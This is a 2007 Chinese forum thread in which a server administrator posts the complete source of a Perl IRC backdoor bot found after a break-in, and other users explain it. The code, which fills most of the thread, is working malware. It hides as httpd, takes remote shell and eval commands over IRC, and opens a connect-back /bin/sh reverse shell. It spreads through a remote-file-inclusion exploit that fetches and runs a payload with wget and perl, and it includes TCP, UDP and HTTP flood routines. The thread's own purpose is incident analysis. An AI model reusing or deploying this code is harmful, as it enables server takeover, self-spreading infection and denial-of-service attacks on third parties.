免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
1234下一页
最近访问板块 发新帖
查看: 16709 | 回复: 33
打印 上一主题 下一主题

服务器被黑了,在服务器上找到一perl黑客程序(怀疑是这个攻陷了系统) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-06-13 17:18 |只看该作者 |倒序浏览
大致分析黑客是利用了php代码的漏洞,取得了webshell,然后上传了这个perl的程序,然后不知道黑客怎么弄的就得到了系统的权限,最后为所欲为。
这个上传的perl黑客程序如下,感觉写的很狡猾:
大家帮忙具体分析下,其是干了什么,谢谢。


  1. #!/usr/bin/perl

  2. use IO::Socket;
  3. srand;
  4. my $bPs        = '/usr/local/apache/bin/httpd -DSSL';
  5. #my $aMaster    = 'cesik';
  6. my $aHost      = 'zuo@pentagon.gov';
  7. my $sServer    = 'someshit.ru';
  8. my $sPort      = '6667';
  9. my $sTimeOut   = '300';
  10. my $bChan      = '#test';

  11. my $bNickLen   = '7';
  12. chomp (my $bNick   = `whoami`);
  13. my $bIrcName   = 'smf';
  14. chomp (my $bRealName  = `uname -a`);
  15. my $bDelay     = '2';

  16. open(LOCK, '>/tmp/sess_sw2sw3ew2edsxwa213s1x1ws1e32sx1') or die;
  17. unless(flock(LOCK, 4 | 2)) { die; }

  18. if(fork) { exit; }
  19. $0 = $bPs;

  20. $SIG{'INT'}  = 'IGNORE';
  21. $SIG{'HUP'}  = 'IGNORE';
  22. $SIG{'TERM'} = 'IGNORE';
  23. $SIG{'CHLD'} = 'IGNORE';

  24. package irc;
  25. use IO::Select;

  26. our $irc_socket;
  27. our $irc_select = new IO::Select;

  28. my $cur_nick;

  29. sub raw { print $irc_socket "$_[0]\n"; }

  30. sub mnick {
  31.     my $nick = $_[1];
  32.     my @abc = ('a' .. 'z');
  33.     for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
  34.     return $nick;
  35. }

  36. sub init {
  37.    
  38.     my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
  39.                                        PeerPort => $_[4],
  40.                                        Proto    => 'tcp',
  41.                                        Timeout  => '5') or return 0;
  42.     if(defined($socket)) {
  43.         $irc_socket = $socket;
  44.         $irc_select->add($irc_socket);
  45.         $irc_socket->autoflush(1);
  46.         raw("USER ".$_[1]." 0 0 ".$_[2]);
  47.         $cur_nick = $_[0];
  48.         raw("NICK $cur_nick");
  49.         return 1;
  50.     }
  51.     return 0;
  52. }

  53. sub loop {
  54.     my $time_out = time;
  55.    
  56.     for(;;) {
  57.         my @handles = $irc_select->can_read(1);
  58.         
  59.         if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
  60.         
  61.         next unless(@handles);
  62.         
  63.         foreach my $handle (@handles) {
  64.             my $datain;$handle->recv($datain, 1023, 0);
  65.             my @lines = split(/\r\n/, $datain);
  66.             
  67.             foreach my $line (@lines) {
  68.                 if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
  69.                 elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
  70.                 elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
  71.                 run::bcmd("$line");
  72.             }
  73.         }
  74.     }
  75. }
  76. package run;
  77. use Socket;

  78. sub bcmd {
  79.     my @line = split(/ /, $_[0]);
  80.    
  81.     my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
  82.     #unless($Nick eq $aMaster) { return; }
  83.     unless($Mask eq $aHost)   { return; }
  84.    
  85.     my $Type = shift(@line);
  86.     unless($Type eq "PRIVMSG") { return; }
  87.    
  88.     my $To = shift(@line);
  89.    
  90.     $" = ' '; $line[0] =~ s/://;my $Text = "@line";
  91.    
  92.     if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
  93.         if($2 =~ /^nick\s*(.*)/) {
  94.             if($1) { $cur_nick = $1; }
  95.             else { $cur_nick = irc::mnick($bNickLen, $bNick); }
  96.             irc::raw("NICK $cur_nick");
  97.             return;
  98.         }
  99.         
  100.         if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
  101.         
  102.         
  103.         
  104.         return;
  105.     }
  106.    
  107.     if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
  108.         
  109.         if(!fork) {

  110.             if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }            

  111.             if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
  112.             
  113.             if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
  114.             
  115.             if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
  116.             
  117.             if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
  118.             
  119.             if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
  120.             if ($2 =~ /^join (.*)/) {
  121.                     j("$1");
  122.             }
  123.             if ($2 =~ /^part (.*)/) {
  124.                     p("$1");
  125.             }
  126.             
  127.             exit;
  128.         }
  129.         return;
  130.     }
  131.    
  132.     if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
  133.     if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
  134. }

  135. sub bsh {
  136.     my $to = $_[0];
  137.     my $cmd = $_[1];
  138.    
  139.     if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
  140.    
  141.     my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
  142.     foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }   
  143. }

  144. sub j { &join(@_); }
  145. sub join {
  146.         return unless $#_ == 0;
  147.                 irc::raw("JOIN $_[0]");
  148. }

  149. sub p { part(@_); }
  150. sub part {
  151.         irc::raw("PART $_[0]");
  152. }

  153. sub rsh {
  154.     irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
  155.    
  156.     socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
  157.     connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
  158.         
  159.     open(STDIN, ">&SOCKET");
  160.     open(STDOUT, ">&SOCKET");
  161.     open(STDERR, ">&SOCKET");
  162.         
  163.     print "elxbot's connectback backdoor\n";
  164.     system('/bin/sh');
  165.         
  166.     close(STDIN);
  167.     close(STDOUT);
  168.     close(STDERR);   
  169. }

  170. package spread;

  171. sub start {
  172.     irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
  173.    
  174.     our $s_time = time;
  175.     my $m_time = $_[1] * 60; #''
  176.     srand;
  177.    
  178.     my $bPath = '/tmp/sess_s5wx3e2b8w1d6ecsw3d1x1wwo521451';
  179.     my $rfi   = 'http://cia.gov/ap.txt';
  180.     my $bLoc = 'http://cia.gov/fuck.txt';
  181.     my $cmds  = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
  182.    
  183.     $cmds =~ s/ /%20/g;
  184.    
  185.     while($m_time > (time - $s_time)) {
  186.         my $dup = "";my @urls = google();
  187.         
  188.         foreach my $url (@urls) {
  189.             (my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
  190.             my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
  191.             
  192.             if($dup eq $host) { next; } $dup = "$host";
  193.             
  194.             $url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
  195.             
  196.             my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
  197.             print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
  198.             $sock->close();
  199.         }
  200.     }
  201.     irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
  202. }

  203. sub google() {
  204.    
  205.     my $rnd=(int(rand(300)));
  206.     my $n= 80;
  207.     if ($rnd<300) { $rnd=(int(rand(300))); }
  208.     my $msn= (int(rand(10)) * $n);

  209.     my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
  210.                    'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
  211.                    'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
  212.                    'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
  213.                    'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
  214.                    'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
  215.                    'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
  216.                    'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
  217.                    'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
  218.                    'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
  219.                    'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
  220.                    'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
  221.                    'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
  222.                    'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
  223.                    'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
  224.                    'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
  225.                    'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
  226.                    'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
  227.                    'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
  228.                    'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
  229.                    'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
  230.                    'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
  231.                    'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
  232.                    've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
  233.                    'za', 'zm', 'zw');
  234.    
  235.     my @str = ();
  236.     foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
  237.    
  238.     my $query = 'http://www.altavista.com/web/results?q=';
  239.     $query   .= $str[(rand(scalar(@str)))];
  240.     $query   .= "&stq=$msn";
  241.    
  242.     my @lst=();
  243.     #irc::raw("privmsg #debug :DEBUG only test googling: ".$query."");
  244.     my $page = http_query($query);
  245.    
  246.     while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
  247.         if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
  248.     }
  249.     return (@lst);
  250. }

  251. sub http_query {
  252.    
  253.     my $url = $_[0];
  254.     my $host=$url;
  255.     my $query=$url;
  256.     my $page='';
  257.    
  258.     $host =~ s/href=\"?http:\/\///;
  259.     $host =~ s/([\w\.\-\w]*)\/.*/$1/;
  260.     $query =~ s/$host//;
  261.    
  262.     if ($query eq '') {$query='/';};
  263.     eval {
  264.             local $SIG{ALRM} = sub { die "1";};
  265.             alarm 5;
  266.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  267.             print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
  268.             my @r = <$sock>;
  269.             $page="@r";
  270.             alarm 0;
  271.             close($sock);
  272.     };
  273.     return $page;
  274. }

  275. package flood;
  276. use POSIX;
  277. use Socket;

  278. our $s_time;

  279. sub tcp {
  280.     irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
  281.    
  282.     $s_time = time;
  283.     my @SOCKET;
  284.    
  285.     while ($_[3] > (time - $s_time)) {
  286.         
  287.         for(my $i=0;$i<200;$i++) {
  288.             socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  289.             fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
  290.         }
  291.         
  292.         for(my $i=0;$i<200;$i++) {
  293.             connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
  294.         }
  295.         
  296.         for(my $i=0;$i<200;$i++) {
  297.             close($SOCKET[$i]);
  298.         }
  299.     }
  300.    
  301.     irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
  302. }

  303. sub udp {
  304.     irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
  305.    
  306.     $s_time = time;
  307.     my $socket;
  308.     my $packets = 0;
  309.     socket($socket, PF_INET, SOCK_DGRAM, 17);
  310.    
  311.     while($_[3] > (time - $s_time)) {
  312.         send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
  313.         $packets++;
  314.     }
  315.     close($socket);
  316.    
  317.     irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
  318. }

  319. sub http {
  320.     irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
  321.    
  322.     $s_time = time;
  323.     my $querys = 0;
  324.    
  325.     while ($_[2] > (time - $s_time)) {
  326.         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
  327.         print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  328.         close($socket);
  329.         $querys++;
  330.     }
  331.    
  332.     irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
  333. }

  334. while(1) {
  335.     if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
  336.     {
  337.         irc::loop();
  338.     }
  339.     sleep 10;
  340. }
  341. #
  342. #
  343. #
  344. #
  345. #GET IS A SHITTY FUCKING PROGRAM!
复制代码

[ 本帖最后由 xmbbx 于 2007-6-13 17:28 编辑 ]

hack.rar

3.92 KB, 下载次数: 326

perl黑客程序

论坛徽章:
0
2 [报告]
发表于 2007-06-13 23:16 |只看该作者
太长!

简单说:
1. 伪装成 httpd 程序 (web 服务程序)
2. 拒绝对Ctl-C, kill等系统信号作出反应
3. 连接远程机器, 等候命令并且执行: 包括rsh google tcpflood udpflood httpflood等等

祝贺你, 可以学习一下, 呵呵

论坛徽章:
0
3 [报告]
发表于 2007-06-13 23:19 |只看该作者
最搞笑的是: 用 PING PONG (乒乓球?)来作为应答码.

论坛徽章:
0
4 [报告]
发表于 2007-06-14 09:00 |只看该作者
原帖由 topgunroot 于 2007-6-13 23:19 发表
最搞笑的是: 用 PING PONG (乒乓球?)来作为应答码.



那是和irc server保持连接:em11:



  1. ùíù MOTD File is missing
  2. ùíù Mode change [+iw] for user haha
  3. Channel      Users   Topic
  4. #sex             1
  5. #malware        19
  6. ùíù haha [adsasd@localhost] has joined #test
  7. ùíù [Users(#test:3)]
  8. [ haha      ] [@alef      ] [@dts       ]
  9. ùíù Channel #test was created at Mon May 14 00:53:15 2007
  10. ùíù WHO  Unknown command
  11. Channel      Users   Topic
  12. #test           47   [+smntMu]
  13. #sex             1
  14. #malware        19


复制代码

就是一个bot, 在你的机器上连接到irc服务器,受那里的控制,比如在你的机器上执行命令,或攻击别人,
还可以自动传播.



原来是利用mambo那个cms的漏洞, ^_^
代码不错,收藏

[ 本帖最后由 tmp 于 2007-6-14 09:19 编辑 ]

论坛徽章:
0
5 [报告]
发表于 2007-06-14 09:42 |只看该作者
學習。

论坛徽章:
0
6 [报告]
发表于 2007-06-14 10:08 |只看该作者
原帖由 tmp 于 2007-6-14 09:00 发表



那是和irc server保持连接:em11:


[code]
ùíù MOTD File is missing
ùíù Mode change [+iw] for user haha
Channel      Users   Topic
#sex             1
#malware        19
ùíù hah ...


但是黑客应该是用非root权限的用户运行的这个程序,能接受控制吗?是不是运行这个程序后他就有root权限,还不是很明白。

论坛徽章:
0
7 [报告]
发表于 2007-06-14 12:25 |只看该作者
运行这个得不到root,但是不代表他没拿到你机器的root权限,你还是要作仔细的检查
看看他是怎么进来的,然后再查都作了些什么其他的事.

论坛徽章:
0
8 [报告]
发表于 2007-06-14 14:28 |只看该作者
有意思 学习

论坛徽章:
0
9 [报告]
发表于 2007-06-14 15:07 |只看该作者
study !

论坛徽章:
0
10 [报告]
发表于 2007-06-14 15:27 |只看该作者
这代码真牛,卡巴斯基都检测出了病毒:

卡巴斯基互联网安全套装6.0个人版
The requested URL http://bbs.chinaunix.net/attachment.php?aid=198365 is infected with Backdoor.Perl.Shellbot.z virus
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP